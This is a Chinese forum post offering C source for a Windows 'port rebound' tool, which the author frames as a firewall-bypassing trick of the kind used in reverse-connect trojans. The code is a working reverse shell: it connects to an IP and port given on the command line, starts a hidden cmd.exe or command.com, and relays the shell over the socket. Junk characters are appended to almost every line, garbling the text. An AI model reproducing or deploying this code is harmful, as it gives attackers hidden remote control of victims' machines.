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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :Fi$-g  
> QK"r7f/  
/* ==============================  g:?p/L  
Rebound port in Windows NT xzBUm  
By wind,2006/7 ^4=%~Yx  
===============================*/ C;m*0#9D  
#include Q+dLWFI  
#include |H;+9(  
YXDuhrs}  
#pragma comment(lib,"wsock32.lib") uHPd!# ]  
Wux[h8G  
void OutputShell(); uE'Kk8  
SOCKET sClient; RP%FMb}nt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LUEZqIf  
[{6fyd;  
void main(int argc,char **argv) vOU9[n N[  
{ :_pn|  
WSADATA stWsaData; 7%5EBH &  
int nRet; |)%;B%  
SOCKADDR_IN stSaiClient,stSaiServer; V(0V$&qipc  
N^zFKDJG  
if(argc != 3) vvF]g.,  
{ Amv:dh  
printf("Useage:\n\rRebound DestIP DestPort\n"); Sw`+4 4  
return; WU~L#Ih.V  
} :~'R|l  
`{xKU8j^  
WSAStartup(MAKEWORD(2,2),&stWsaData); n W:Bo#  
!mK}Rim~  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [p_<`gU?  
`( _N9.>B  
stSaiClient.sin_family = AF_INET; @gk{wh>c  
stSaiClient.sin_port = htons(0); n"f: 6|<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c1 Hp  
vAfYONU  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ym 1; /'  
{ URj2 evYW  
printf("Bind Socket Failed!\n"); &S8,-~U  
return; :Q"p!,X=-  
} ?fQ8Ff  
~r&+18Z;  
stSaiServer.sin_family = AF_INET; 7-d.eNQl  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o`{^ptu1q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); apWv+A  
jQ dIeQD+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =*KY)X  
{ &p5^Cjy L  
printf("Connect Error!"); w6|l ~.$=  
return; Jn"ya^~  
} 6Tsi^((Li  
OutputShell(); \%QA)T%  
} }B&+KO)  
D(#6H~QN%  
void OutputShell() VUzRA"DP|  
{ \2M{R  
char szBuff[1024]; N$M:&m3^  
SECURITY_ATTRIBUTES stSecurityAttributes; nT=XWM  
OSVERSIONINFO stOsversionInfo; ~xf uq{L;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; KU;J2Kt  
STARTUPINFO stStartupInfo; wLy:S.r  
char *szShell; ];\XA;aOl}  
PROCESS_INFORMATION stProcessInformation; =" pNE#  
unsigned long lBytesRead; .GIygU_  
co{i~['u  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); op61-:q/  
6yd?xeD  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cRP!O|I`]  
stSecurityAttributes.lpSecurityDescriptor = 0; `+@r0:G&v  
stSecurityAttributes.bInheritHandle = TRUE; Qb'Q4@.  
+.McC$!s  
-lb%X 3`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H6<3'P  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u^( s0q  
WP !u3\91  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r:H.VAD  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (1)b> 6  
stStartupInfo.wShowWindow = SW_HIDE; lF~!F<^9  
stStartupInfo.hStdInput = hReadPipe; R/l/GNm  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #BX}j&h_  
*.!532 7  
GetVersionEx(&stOsversionInfo); p$a+?5'Q  
>f(M5v(D\  
switch(stOsversionInfo.dwPlatformId) q>[}JtXK  
{ 'SKq<X%R;  
case 1: zA8Tp8(  
szShell = "command.com"; Nh1, w  
break; *kt%.wPJ  
default: %!]CP1S  
szShell = "cmd.exe"; T*92o:^  
break; ;I~ UQgE6H  
} &_,.*tha  
aMaqlqf  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U3t) yr h  
SbH} cu8  
send(sClient,szMsg,77,0); h`4!Qv  
while(1) ;$FMOMR  
{ fkD-mRKw  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~LJtlJ 0  
if(lBytesRead) [uFv_G{H  
{ 'W/AYF^5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +{WZpP},v  
send(sClient,szBuff,lBytesRead,0); ZV$!dHW/  
} 0iVeM!bM  
else }[]1`2qD  
{ &;%, Axc  
lBytesRead=recv(sClient,szBuff,1024,0); n\u3$nGL1`  
if(lBytesRead<=0) break; ~{q; - &  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k]S`A,~  
} .5iXOS0 G  
} yH]w(z5Z  
8r48+_y3u  
return; pf#~|n#t  
}
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